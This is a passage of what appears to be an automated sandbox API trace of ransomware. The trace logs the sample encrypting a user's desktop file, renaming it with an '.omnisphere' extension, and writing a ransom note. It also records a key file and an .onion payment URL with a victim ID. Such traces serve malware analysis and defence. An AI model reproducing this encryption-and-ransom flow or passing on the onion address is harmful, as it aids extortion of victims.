pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.840] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.841] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.843] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0164.843] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0164.843] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x85aa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.843] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.844] GetProcessHeap () returned 0x1600000 [0164.844] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x280) returned 0x1775f68 [0164.844] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\rmirt ltw_d-mpk_75fe.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\rmirt ltw_d-mpk_75fe.mp3.omnisphere")) returned 1 [0164.846] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3.omnisphere.id" [0164.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\rmirt ltw_d-mpk_75fe.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.846] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.848] CloseHandle (hObject=0x3bc) returned 1 [0164.848] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.848] CloseHandle (hObject=0x380) returned 1 [0164.848] SetEndOfFile (hFile=0x39c) returned 1 [0164.849] FlushFileBuffers (hFile=0x39c) returned 1 [0164.950] CloseHandle (hObject=0x39c) returned 1 [0164.950] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.950] GetProcessHeap () returned 0x1600000 [0164.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17761f0 [0164.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.950] GetProcessHeap () returned 0x1600000 [0164.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733db0 [0164.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733db0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.950] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.950] GetProcessHeap () returned 0x1600000 [0164.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f5e0 [0164.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f5e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.950] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.951] GetProcessHeap () returned 0x1600000 [0164.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773bc8 [0164.951] PathCombineW (in: pszDest=0x1773bc8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.951] GetProcessHeap () returned 0x1600000 [0164.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1756368 [0164.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.951] WriteFile (in: hFile=0x39c, lpBuffer=0x1756368*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1756368*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.951] CloseHandle (hObject=0x39c) returned 1 [0164.951] GetProcessHeap () returned 0x1600000 [0164.951] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17761f0 | out: hHeap=0x1600000) returned 1 [0164.951] GetProcessHeap () returned 0x1600000 [0164.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a1f0 [0164.952] PathCombineW (in: pszDest=0x163a1f0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.952] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.952] CloseHandle (hObject=0x39c) returned 1 [0164.952] GetProcessHeap () returned 0x1600000 [0164.952] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a1f0 | out: hHeap=0x1600000) returned 1 [0164.952] GetProcessHeap () returned 0x1600000 [0164.952] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1773628 | out: hHeap=0x1600000) returned 1 [0164.952] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x422eea9b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x422eea9b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x43569078, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0xf5, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0164.952] GetProcessHeap () returned 0x1600000 [0164.952] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a730 [0164.952] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.952] StrStrW (lpFirst=".omnisphere", lpSrch=".key") returned 0x0 [0164.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.953] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=1440) returned 1 [0164.953] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x7c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.953] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.953] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] GetTickCount () returned 0x1168f57 [0164.954] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668240) returned 1 [0164.955] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639728) returned 1 [0164.955] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.955] CryptDestroyKey (hKey=0x1639728) returned 1 [0164.955] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0164.955] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x380 [0164.955] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x1480000 [0164.955] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668bd0) returned 1 [0164.956] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639ae8) returned 1 [0164.956] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.956] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, 